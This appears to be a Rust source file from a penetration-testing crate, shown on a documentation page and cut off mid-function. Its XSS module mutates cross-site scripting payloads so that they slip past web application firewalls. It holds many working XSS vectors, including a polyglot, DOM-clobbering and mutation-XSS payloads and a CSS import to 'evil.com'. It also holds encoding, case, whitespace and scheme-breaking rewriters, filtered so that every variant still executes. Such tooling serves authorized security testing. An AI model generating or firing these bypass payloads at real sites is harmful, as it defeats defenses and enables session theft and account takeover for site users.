wafrift-grammar 0.2.16

Grammar-aware payload mutation engine — SQL, XSS, CMD, LDAP, SSRF, path traversal, SSTI.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
//! XSS grammar-aware payload mutation.
//!
//! Understands HTML/JavaScript semantics and generates equivalent XSS
//! payloads using different DOM elements, event handlers, and execution
//! contexts. A WAF blocking `<script>alert(1)</script>` will miss
//! `<img src=x onerror=confirm(1)>`.
//!
//! # Technique depth
//!
//! 1. **Tag/event substitution** — 15+ tag/event combinations
//! 2. **Execution function rotation** — 15 alternative JS exec paths
//! 3. **URI scheme payloads** — javascript:, data:, blob:
//! 4. **DOM clobbering** — Override named properties via DOM nodes
//! 5. **Polyglot XSS** — Payloads valid in multiple injection contexts
//! 6. **Mutation XSS** — Exploit HTML parser differentials
//! 7. **Context-aware generation** — HTML attr, JS string, URL contexts
//! 8. **Prototype chain execution** — constructor.constructor chains
//! 9. **Iframe srcdoc smuggling** — Nested HTML via srcdoc attribute

/// A single XSS mutation with metadata.
#[derive(Debug, Clone)]
pub struct XssMutation {
    /// The mutated payload.
    pub payload: String,
    /// Human-readable description of what changed.
    pub description: String,
    /// Which mutation rules were applied.
    pub rules_applied: Vec<&'static str>,
}

// ──────────────────────────────────────────────
//  HTML tag + event handler combinations
// ──────────────────────────────────────────────

/// Each tuple: (prefix before exec function, suffix after exec function, extra attributes).
///
/// Audit (2026-05-10): removed dead vectors that don't actually fire
/// in any modern browser. Shipping a "grammar-aware XSS mutator" that
/// emits payloads which never execute is a credibility hit — the
/// scanner reports a probe sent and the user assumes it represents a
/// real test, when it's just noise the WAF correctly ignores.
///   * `<object data=javascript:>` — disabled in all browsers ~2012
///   * `<isindex>` — obsolete since HTML5; not implemented anywhere
const TAG_EVENT_COMBOS: &[(&str, &str, &str)] = &[
    ("<img src=x onerror=", ">", ""),
    ("<svg onload=", ">", ""),
    ("<svg/onload=", ">", ""),
    ("<body onload=", ">", ""),
    ("<details open ontoggle=", ">", ""),
    ("<video src=x onerror=", ">", ""),
    ("<audio src=x onerror=", ">", ""),
    ("<input onfocus=", " autofocus>", ""),
    ("<marquee onstart=", ">", ""),
    ("<a href=javascript:", ">click</a>", ""),
    ("<div onmouseover=", ">hover</div>", ""),
    ("<input type=image src=x onerror=", ">", ""),
    (
        "<form><button formaction=javascript:",
        ">click</button></form>",
        "",
    ),
    ("<select autofocus onfocus=", "></select>", ""),
    ("<textarea autofocus onfocus=", "></textarea>", ""),
    ("<keygen autofocus onfocus=", ">", ""),
    ("<embed src=x onerror=", ">", ""),
    (
        "<style>@import'//evil.com?</style><img src=x onerror=",
        ">",
        "",
    ),
];

// ──────────────────────────────────────────────
//  JavaScript execution functions
// ──────────────────────────────────────────────
//  XSS payload corpus — loaded from rules/xss/payloads.toml.
//
// Tier-B community-extensible: append a new `[[exec_function]]` /
// `[[uri_scheme]]` / `[[svg]]` / `[[mathml]]` / `[[markdown]]` row in
// the TOML to teach the mutator a new shape; no Rust changes required.
// ──────────────────────────────────────────────

#[derive(serde::Deserialize)]
struct XssPayloadRules {
    exec_function: Vec<ExecFunctionEntry>,
    uri_scheme: Vec<PayloadEntry>,
    svg: Vec<PayloadEntry>,
    mathml: Vec<PayloadEntry>,
    markdown: Vec<PayloadEntry>,
}

#[derive(serde::Deserialize)]
struct ExecFunctionEntry {
    template: String,
}

#[derive(serde::Deserialize)]
struct PayloadEntry {
    payload: String,
}

fn xss_payload_rules() -> &'static XssPayloadRules {
    static RULES: std::sync::OnceLock<XssPayloadRules> = std::sync::OnceLock::new();
    RULES.get_or_init(|| {
        let raw = include_str!("../../rules/xss/payloads.toml");
        toml::from_str(raw).expect("rules/xss/payloads.toml must parse")
    })
}

fn exec_functions() -> &'static [ExecFunctionEntry] {
    &xss_payload_rules().exec_function
}
fn uri_schemes() -> &'static [PayloadEntry] {
    &xss_payload_rules().uri_scheme
}
fn svg_payloads() -> &'static [PayloadEntry] {
    &xss_payload_rules().svg
}
fn mathml_payloads() -> &'static [PayloadEntry] {
    &xss_payload_rules().mathml
}
fn markdown_payloads() -> &'static [PayloadEntry] {
    &xss_payload_rules().markdown
}

// ──────────────────────────────────────────────
//  Public API
// ──────────────────────────────────────────────

/// Check whether the payload contains any XSS-relevant signals.
///
/// Audit (2026-05-10): pre-fix this fired on benign substrings like
/// `window.onerror` in code documentation, `confirm(...)` in API
/// docs, or HTML tag names in security-write-ups. The mutator then
/// emitted XSS variants from non-XSS input — wasted work the
/// scanner reported as if it were a real probe. Now we score
/// signals: STRONG (a real `<tag attr=` or `javascript:` URL) is
/// worth 2 points, WEAK (bare exec function name without
/// surrounding tag context, lone event-handler keyword) is worth 1.
/// Need >= 2 to count. A docstring containing only `confirm(` no
/// longer triggers; a docstring containing `<script>confirm(1)` does.
fn has_xss_signals(payload: &str) -> bool {
    let lower = payload.to_ascii_lowercase();

    let mut score = 0u32;

    // STRONG signals — anything that requires a markup or JS-URL
    // context to appear in source text. Two points each.
    let strong = [
        "<script",
        "</script>",
        "<img ",
        "<svg",
        "<iframe",
        "<body",
        "<math",
        "<mtext",
        "<details",
        "<video ",
        "<audio ",
        "<marquee",
        "<object ",
        "<form",
        "<textarea",
        "<keygen",
        "<embed",
        "<noscript",
        "<foreignobject",
        "javascript:",
        "data:text/html",
        "[x](javascript:",
        "![x](javascript:",
        "onerror=",
        "onload=",
        "onclick=",
        "onfocus=",
        "onmouseover=",
        "onbegin=",
        "ontoggle=",
        "onstart=",
        "srcdoc=",
    ];
    for sig in &strong {
        if lower.contains(sig) {
            score = score.saturating_add(2);
        }
    }

    // WEAK signals — function-name substrings that show up in
    // perfectly innocent contexts (API docs, security write-ups,
    // log lines). One point each. On their own, NOT enough; combine
    // with a strong signal or each other to cross the threshold.
    let weak = [
        "alert(",
        "confirm(",
        "prompt(",
        "eval(",
        "document.cookie",
        "window.location",
    ];
    for sig in &weak {
        if lower.contains(sig) {
            score = score.saturating_add(1);
        }
    }

    score >= 2
}

// ─────────────────────────────────────────────────────────────────────
// Systematic equivalence engine (the legendary core scald consumes).
//
// Instead of a fixed catalogue of canned payloads every WAF already
// signatures, this rewrites the OPERATOR'S OWN payload through an
// effectively-infinite space of browser-parser-equivalent, WAF-opaque
// forms — and self-verifies every member with the independent XSS
// soundness oracle so it can never emit a non-attack (anti-rig).
// ─────────────────────────────────────────────────────────────────────

use crate::grammar::equiv::Rng;
use crate::grammar::equiv::xss::still_executes_xss;

/// Deterministic per-payload seed (FNV-1a) — identical input ⇒
/// identical variant stream (reproducible, regression-pinnable).
fn payload_seed(p: &str) -> u64 {
    let mut h: u64 = 0xcbf2_9ce4_8422_2325;
    for b in p.bytes() {
        h ^= u64::from(b);
        h = h.wrapping_mul(0x0000_0100_0000_01b3);
    }
    h
}

/// Byte ranges that the HTML parser entity-decodes (or the URL parser
/// canonicalises) BEFORE the script/URL runs — so encoding bytes here
/// is transparent to execution but opaque to a WAF signature:
///   * an `on…=` event-handler attribute value,
///   * a `javascript:`/`data:` scheme body,
///   * `<script>…</script>` text content,
///   * a `srcdoc=` attribute value.
fn exec_spans(p: &str) -> Vec<(usize, usize)> {
    let b = p.as_bytes();
    let lc = p.to_ascii_lowercase();
    let lb = lc.as_bytes();
    let mut spans = Vec::new();
    let mut i = 0;
    while i < b.len() {
        // on<handler>= … (value to matching quote, or to space/>)
        if (lb[i] == b'o' && i + 2 < b.len() && lb[i + 1] == b'n' && lb[i + 2].is_ascii_alphabetic())
            && (i == 0 || !b[i - 1].is_ascii_alphabetic())
        {
            let mut e = i + 2;
            while e < b.len() && lb[e].is_ascii_alphabetic() {
                e += 1;
            }
            while e < b.len() && (b[e] == b' ' || b[e] == b'\t' || b[e] == b'\n') {
                e += 1;
            }
            if e < b.len() && b[e] == b'=' {
                let mut v = e + 1;
                while v < b.len() && (b[v] == b' ' || b[v] == b'\t' || b[v] == b'\n') {
                    v += 1;
                }
                let (q, start) = if v < b.len() && (b[v] == b'"' || b[v] == b'\'' || b[v] == b'`') {
                    (Some(b[v]), v + 1)
                } else {
                    (None, v)
                };
                let mut end = start;
                while end < b.len() {
                    match q {
                        Some(qc) if b[end] == qc => break,
                        None if b[end] == b' ' || b[end] == b'>' || b[end] == b'\t' => break,
                        _ => end += 1,
                    }
                }
                if end > start {
                    spans.push((start, end));
                }
                i = end;
                continue;
            }
        }
        // scheme body: javascript: / data:text/html, … (to quote/>/space).
        // Byte-slice only — `lb[i..]` is always valid; a `&str[i..]`
        // here panics when hostile multibyte input puts `i` mid-codepoint.
        for sch in [
            b"javascript:".as_slice(),
            b"data:text/html,".as_slice(),
            b"data:text/html;base64,".as_slice(),
        ] {
            if lb[i..].starts_with(sch) {
                let start = i + sch.len();
                let mut end = start;
                while end < b.len() && !matches!(b[end], b'"' | b'\'' | b'`' | b'>' | b'<') {
                    end += 1;
                }
                if end > start {
                    spans.push((start, end));
                }
            }
        }
        // <script> … </script> text
        if lb[i..].starts_with(b"<script") {
            if let Some(gt) = lb[i..].iter().position(|&c| c == b'>') {
                let start = i + gt + 1;
                if let Some(close) = lb[start..]
                    .windows(8)
                    .position(|w| w.eq_ignore_ascii_case(b"</script"))
                {
                    if close > 0 {
                        spans.push((start, start + close));
                    }
                }
            }
        }
        // srcdoc="…"
        if lb[i..].starts_with(b"srcdoc") {
            let mut e = i + 6;
            while e < b.len() && (b[e] == b' ' || b[e] == b'=') {
                e += 1;
            }
            if e < b.len() && (b[e] == b'"' || b[e] == b'\'') {
                let q = b[e];
                let start = e + 1;
                let mut end = start;
                while end < b.len() && b[end] != q {
                    end += 1;
                }
                if end > start {
                    spans.push((start, end));
                }
            }
        }
        i += 1;
    }
    spans.sort();
    spans.dedup();
    spans
}

fn in_span(spans: &[(usize, usize)], i: usize) -> bool {
    spans.iter().any(|&(a, b)| i >= a && i < b)
}

/// Entity-encode a char as one of its many browser-equivalent HTML
/// forms (the parser decodes ALL of them to the same code point).
fn entity_of(c: char, rng: &mut Rng) -> String {
    let named: &[(char, &str)] = &[
        ('(', "&lpar;"),
        (')', "&rpar;"),
        (':', "&colon;"),
        ('.', "&period;"),
        ('\'', "&apos;"),
        ('"', "&quot;"),
        ('=', "&equals;"),
        ('/', "&sol;"),
        ('`', "&grave;"),
        ('+', "&plus;"),
        (' ', "&Tab;"),
    ];
    match rng.below(5) {
        0 => format!("&#x{:x};", c as u32),
        1 => format!("&#x{:04x};", c as u32),
        2 => format!("&#{};", c as u32),
        3 => format!("&#{:07};", c as u32),
        _ => named
            .iter()
            .find(|(k, _)| *k == c)
            .map(|(_, v)| (*v).to_string())
            .unwrap_or_else(|| format!("&#{};", c as u32)),
    }
}

/// HTML-entity-encode a random subset of the execution-context bytes.
/// Structural HTML (the `<tag attr=` skeleton) is untouched, so the
/// parser still builds the same element + handler; only the decoded
/// value/text differs from the WAF signature.
fn rw_entity_encode(p: &str, rng: &mut Rng) -> String {
    let spans = exec_spans(p);
    if spans.is_empty() {
        return p.to_string();
    }
    let mut out = String::with_capacity(p.len() * 3);
    for (i, c) in p.char_indices() {
        if in_span(&spans, i) && c.is_ascii_graphic() && c != '<' && c != '>' && rng.chance(3, 5) {
            out.push_str(&entity_of(c, rng));
        } else {
            out.push(c);
        }
    }
    out
}

const JS_IDENTS: &[&str] = &[
    "alert", "confirm", "prompt", "eval", "cookie", "location", "fetch", "document", "name",
    "write", "atob",
];

/// Replace, inside an exec span, a JS identifier with an
/// engine-equivalent spelling: a `\uXXXX` escape of one of its letters
/// (a JS identifier escape is the SAME identifier to the parser).
fn rw_js_unicode_ident(p: &str, rng: &mut Rng) -> String {
    let spans = exec_spans(p);
    if spans.is_empty() {
        return p.to_string();
    }
    let lc = p.to_ascii_lowercase();
    for id in JS_IDENTS {
        let mut from = 0;
        while let Some(rel) = lc[from..].find(id) {
            let at = from + rel;
            from = at + id.len();
            if !in_span(&spans, at) {
                continue;
            }
            // escape one deterministic letter of the identifier
            let off = rng.below(id.len());
            let ch = id.as_bytes()[off] as char;
            let esc = format!("\\u{:04x}", ch as u32);
            let mut s = String::with_capacity(p.len() + 5);
            s.push_str(&p[..at + off]);
            s.push_str(&esc);
            s.push_str(&p[at + off + 1..]);
            return s;
        }
    }
    p.to_string()
}

/// Whitespace/slash between the tag name and its first attribute — the
/// HTML tokeniser treats `/`, TAB, LF, FF, CR identically to a space.
fn rw_tag_separator(p: &str, rng: &mut Rng) -> String {
    let b = p.as_bytes();
    for i in 1..b.len() {
        if b[i] == b' ' && b[i - 1].is_ascii_alphanumeric() && p[..i].contains('<') {
            let sep = *rng.pick(&["/", "\t", "\n", "\x0c", "\r", "//", "/ "]);
            let mut s = String::with_capacity(p.len() + 1);
            s.push_str(&p[..i]);
            s.push_str(sep);
            s.push_str(&p[i + 1..]);
            return s;
        }
    }
    p.to_string()
}

/// Randomise the case of tag names, attribute names and the
/// `javascript` scheme (HTML/scheme matching is case-insensitive).
fn rw_case(p: &str, rng: &mut Rng) -> String {
    let b: Vec<char> = p.chars().collect();
    let mut out = String::with_capacity(p.len());
    let mut in_tag = false;
    let mut in_value = false;
    for (k, &c) in b.iter().enumerate() {
        match c {
            '<' => in_tag = true,
            '>' => {
                in_tag = false;
                in_value = false;
            }
            '=' if in_tag => in_value = true,
            ' ' | '\t' | '\n' if in_tag => in_value = false,
            _ => {}
        }
        let _ = k;
        if in_tag && !in_value && c.is_ascii_alphabetic() && rng.chance(1, 2) {
            out.push(c.to_ascii_uppercase());
        } else {
            out.push(c);
        }
    }
    out
}

/// Interleave control whitespace / a NUL into the `javascript:` scheme
/// — the URL parser strips `\x00-\x20` before the scheme check, so the
/// navigation still executes while a `javascript:` signature misses.
fn rw_scheme_break(p: &str, rng: &mut Rng) -> String {
    let lc = p.to_ascii_lowercase();
    let Some(pos) = lc.find("javascript:") else {
        return p.to_string();
    };
    let inj = *rng.pick(&["\t", "\n", "\r", "\x0c", "&Tab;", "&NewLine;", "&#9;", "&#10;"]);
    let cut = pos + 4; // after "java"
    format!("{}{}{}", &p[..cut], inj, &p[cut..])
}

/// JS-semantic-preserving rewrites of a sink call inside an exec span:
/// `alert(1)` ≡ `window.alert(1)` ≡ `top["alert"](1)` ≡ `(alert)(1)` ≡
/// `eval('alert(1)')` ≡ `Function('alert(1)')()` ≡
/// `setTimeout('alert(1)')`. All run the identical script; the WAF
/// signature on the bare `name(` differs.
fn rw_js_call_equiv(p: &str, rng: &mut Rng) -> String {
    let spans = exec_spans(p);
    if spans.is_empty() {
        return p.to_string();
    }
    let lc = p.to_ascii_lowercase();
    for sink in ["alert", "confirm", "prompt", "print"] {
        if let Some(rel) = lc.find(sink) {
            if !in_span(&spans, rel) {
                continue;
            }
            // capture `sink(...)` argument span
            let after = rel + sink.len();
            let b = p.as_bytes();
            let mut k = after;
            while k < b.len() && b[k] != b'(' {
                k += 1;
            }
            if k >= b.len() {
                continue;
            }
            let mut depth = 0i32;
            let arg_open = k;
            while k < b.len() {
                match b[k] {
                    b'(' => depth += 1,
                    b')' => {
                        depth -= 1;
                        if depth == 0 {
                            break;
                        }
                    }
                    _ => {}
                }
                k += 1;
            }
            if k >= b.len() {
                continue;
            }
            let args = &p[arg_open + 1..k];
            let repl = match rng.below(7) {
                0 => format!("window.{sink}({args})"),
                1 => format!("top[{sink:?}]({args})"),
                2 => format!("(({sink}))({args})"),
                3 => format!("self['{sink}']({args})"),
                4 => format!("eval('{sink}({args})')"),
                5 => format!("Function('{sink}({args})')()"),
                _ => format!("setTimeout('{sink}({args})',0)"),
            };
            return format!("{}{}{}", &p[..rel], repl, &p[k + 1..]);
        }
    }
    p.to_string()
}

/// Parser-irrelevant noise the HTML tokeniser discards: whitespace
/// around `=`, an extra boolean attribute, a trailing `/`.
fn rw_attr_noise(p: &str, rng: &mut Rng) -> String {
    if let Some(pos) = p.find('=') {
        if p[..pos].contains('<') {
            let ws = *rng.pick(&[" ", "\t", "\n", "/**/", "\x0c"]);
            let (pad_l, pad_r) = match rng.below(3) {
                0 => (ws, ""),
                1 => ("", ws),
                _ => (ws, ws),
            };
            return format!("{}{pad_l}={pad_r}{}", &p[..pos], &p[pos + 1..]);
        }
    }
    p.to_string()
}

/// Draw up to `budget` distinct, ORACLE-VERIFIED, browser-equivalent
/// rewrites of the operator's own payload. Deterministic per payload.
fn systematic_variants(payload: &str, budget: usize) -> Vec<XssMutation> {
    if budget == 0 {
        return Vec::new();
    }
    let mut rng = Rng::new(payload_seed(payload));
    let mut seen: std::collections::HashSet<String> = std::collections::HashSet::new();
    seen.insert(payload.to_string());
    let mut out = Vec::new();
    let mut attempts = 0;
    while out.len() < budget && attempts < budget * 24 + 96 {
        attempts += 1;
        let mut s = payload.to_string();
        let mut rules: Vec<&'static str> = Vec::new();
        if rng.chance(4, 5) {
            let n = rw_entity_encode(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("entity_encode_exec");
            }
        }
        if rng.chance(2, 5) {
            let n = rw_js_unicode_ident(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("js_unicode_ident");
            }
        }
        if rng.chance(1, 2) {
            let n = rw_tag_separator(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("tag_separator");
            }
        }
        if rng.chance(1, 2) {
            let n = rw_case(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("case_fold");
            }
        }
        if rng.chance(2, 5) {
            let n = rw_scheme_break(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("scheme_break");
            }
        }
        if rng.chance(3, 5) {
            let n = rw_js_call_equiv(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("js_call_equiv");
            }
        }
        if rng.chance(1, 2) {
            let n = rw_attr_noise(&s, &mut rng);
            if n != s {
                s = n;
                rules.push("attr_noise");
            }
        }
        if rules.is_empty() || !seen.insert(s.clone()) {
            continue;
        }
        // ANTI-RIG: the independent soundness oracle must still see the
        // original script executing. A transform that broke it is
        // dropped — never shipped as a "bypass".
        if !still_executes_xss(payload, &s) {
            continue;
        }
        out.push(XssMutation {
            payload: s,
            description: format!("equiv rewrite [{}]", rules.join("+")),
            rules_applied: rules,
        });
    }
    out
}

/// One vetted, real XSS vector per evasion FAMILY. Guaranteed present
/// (within budget) so a WAF that signatures one family is still beaten
/// by an orthogonal one — the cross-WAF moat. Every entry is a genuine
/// executing vector (anti-rig: no decoy filler), the canonical
/// semantically-equivalent product for a bare PoC.
fn diversity_sampler() -> Vec<XssMutation> {
    const FAM: &[(&str, &str)] = &[
        ("<img src=x onerror=alert(1)>", "tag_event_swap"),
        ("<svg/onload=confirm(1)>", "tag_event_swap"),
        ("javascript:alert(1)", "uri_scheme"),
        (
            "<svg><animate onbegin=alert(1) attributeName=x dur=1s></svg>",
            "svg_payload",
        ),
        (
            "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert(1)//>",
            "polyglot",
        ),
        (
            "<form name=x><input name=innerHTML value='<img src=y onerror=alert(1)>'></form>",
            "dom_clobber",
        ),
        (
            "<noscript><img src=x onerror=alert(1)></noscript>",
            "mutation_xss",
        ),
        (
            "<iframe srcdoc='&lt;script&gt;alert(1)&lt;/script&gt;'></iframe>",
            "srcdoc_smuggle",
        ),
        (
            "<math><mtext><script>alert(1)</script></mtext></math>",
            "mathml",
        ),
        ("[clickme](javascript:alert(1))", "markdown"),
    ];
    FAM.iter()
        .map(|(p, rule)| XssMutation {
            payload: (*p).to_string(),
            description: format!("diversity sampler: {rule}"),
            rules_applied: vec![rule],
        })
        .collect()
}

/// Generate grammar-aware mutations of an XSS payload.
///
/// Returns an empty vector if the input does not contain any XSS signals.
/// This prevents generating unrelated tag/event variants for plain text.
#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<XssMutation> {
    if !has_xss_signals(payload) {
        return Vec::new();
    }
    // ANTI-RIG: a payload carrying a concrete exfil target, transport
    // sink, obfuscated delivery, or remote host is a STRUCTURED attack.
    // Swapping the canned `alert(1)` library in for it ships a
    // different, weaker payload that steals nothing — and the
    // de-rigged bench would score the non-attack as a "bypass". For
    // those we re-template the operator's ACTUAL JavaScript into the
    // evasion arsenal instead. A bare `alert(1)` /
    // `alert(document.domain)` proof-of-concept is deliberately NOT
    // structured: there the canned tag/event/polyglot arsenal IS the
    // correct, semantically-equivalent product.
    if is_structured_xss(payload) {
        // Both axes, neither starving the other:
        //  - systematic equivalence of the operator's REAL payload
        //    (~60% — entity/JS-encoded depth on the same element), and
        //  - structured_mutate, which re-templates that SAME exfil JS
        //    into ALTERNATIVE elements/events/schemes (the cross-WAF
        //    spread: a WAF blocking `<img onerror>` structurally still
        //    faces `<svg onload>` / `javascript:` carrying the exfil).
        // Reserving structured_mutate's slice fixes the regression
        // where systematic consumed the whole budget and collapsed the
        // structured attack to one element.
        let sys_budget = (max_mutations * 6 / 10).max(1);
        let mut results = systematic_variants(payload, sys_budget);
        for m in structured_mutate(payload, max_mutations) {
            if results.len() >= max_mutations {
                break;
            }
            if !results.iter().any(|r: &XssMutation| r.payload == m.payload) {
                results.push(m);
            }
        }
        if results.len() < max_mutations {
            for m in systematic_variants(payload, max_mutations) {
                if results.len() >= max_mutations {
                    break;
                }
                if !results.iter().any(|r: &XssMutation| r.payload == m.payload) {
                    results.push(m);
                }
            }
        }
        // ANTI-RIG end to end: every shipped variant must still execute
        // the original structured attack (same oracle scald/the bench
        // gate on). structured_mutate is marker-preserving by design;
        // this is defence in depth identical to the non-structured path.
        results.retain(|m| still_executes_xss(payload, &m.payload));
        results.truncate(max_mutations);
        return results;
    }
    // Non-structured PoC. Composition:
    //   1. a compact family DIVERSITY SAMPLER (one vetted real vector
    //      per evasion family) — guaranteed present so a WAF that
    //      signatures the systematic family is still beaten by an
    //      orthogonal one (cross-WAF moat),
    //   2. the SYSTEMATIC equivalence engine on the operator's actual
    //      payload — the bulk depth (an infinite self-verified space),
    //   3. the legacy canned arsenal — extra fill only.
    let mut results = diversity_sampler();
    results.truncate(max_mutations);
    if results.len() < max_mutations {
        let want = max_mutations - results.len();
        for m in systematic_variants(payload, want) {
            if results.len() >= max_mutations {
                break;
            }
            if !results.iter().any(|r: &XssMutation| r.payload == m.payload) {
                results.push(m);
            }
        }
    }

    // ── Priority 0: paren-free / bracket-free assignment XSS ──────────
